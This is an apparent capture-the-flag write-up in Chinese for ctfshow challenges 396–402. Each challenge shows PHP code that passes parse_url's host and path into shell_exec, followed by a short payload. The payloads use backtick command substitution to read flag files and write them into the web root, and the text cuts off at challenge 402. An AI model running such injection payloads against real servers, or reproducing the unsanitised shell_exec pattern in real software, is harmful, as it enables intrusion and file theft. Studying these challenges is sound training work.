ctfshow其他

396

<?php
error_reporting(0);
if(isset($_GET['url'])){
   
    $url = parse_url($_GET['url']);
    shell_exec('echo '.$url['host'].'> '.$url['path']);

}else{
   
    highlight_file(__FILE__);
}

payload

url=http://`tac fl*`/var/www/html/1.txt

397

error_reporting(0);
if(isset($_GET['url'])){
   
    $url = parse_url($_GET['url']);
    shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);

}else{
   
    highlight_file(__FILE__);
}

url = http://'tac fl*'/../var/www/html/1.txt

398

error_reporting(0);
if(isset($_GET['url'])){
   
    $url = parse_url($_GET['url']);
    if(!preg_match('/;/', $url['host'])){
   
        shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
    }

}else{
   
    highlight_file(__FILE__);
}

url=http://1/1;echo `cat fl0g.php`>a.txt

399

error_reporting(0);
if(isset($_GET['url'])){
   
    $url = parse_url($_GET['url']);
    if(!preg_match('/;|>/', $url['host'])){
   
        shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
    }

}else{
   
    highlight_file(__FILE__);
}

同上

400

error_reporting(0);
if(isset($_GET['url'])){
   
    $url = parse_url($_GET['url']);
    if(!preg_match('/;|>|http|https/i', $url['host'])){
   
        shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
    }

}else{
   
    highlight_file(__FILE__);
}

同上

401

#error_reporting(0);
if(isset($_GET['url'])){
   
    $url = parse_url($_GET['url']);
    var_dump($url);
    if(!preg_match('/;|>|http|https|\|/i', $url['host'])){
   
        shell_exec('echo '.$url['host'].'> /tmp/'.$url['path']);
    }

}else{
   
    highlight_file(__FILE__);
}

同上

402

#error_reporting(0);
if(isset($_GET['url'])){
   
    $url = parse_url($_GET['url']);
    var_dump($url);
    if(preg_match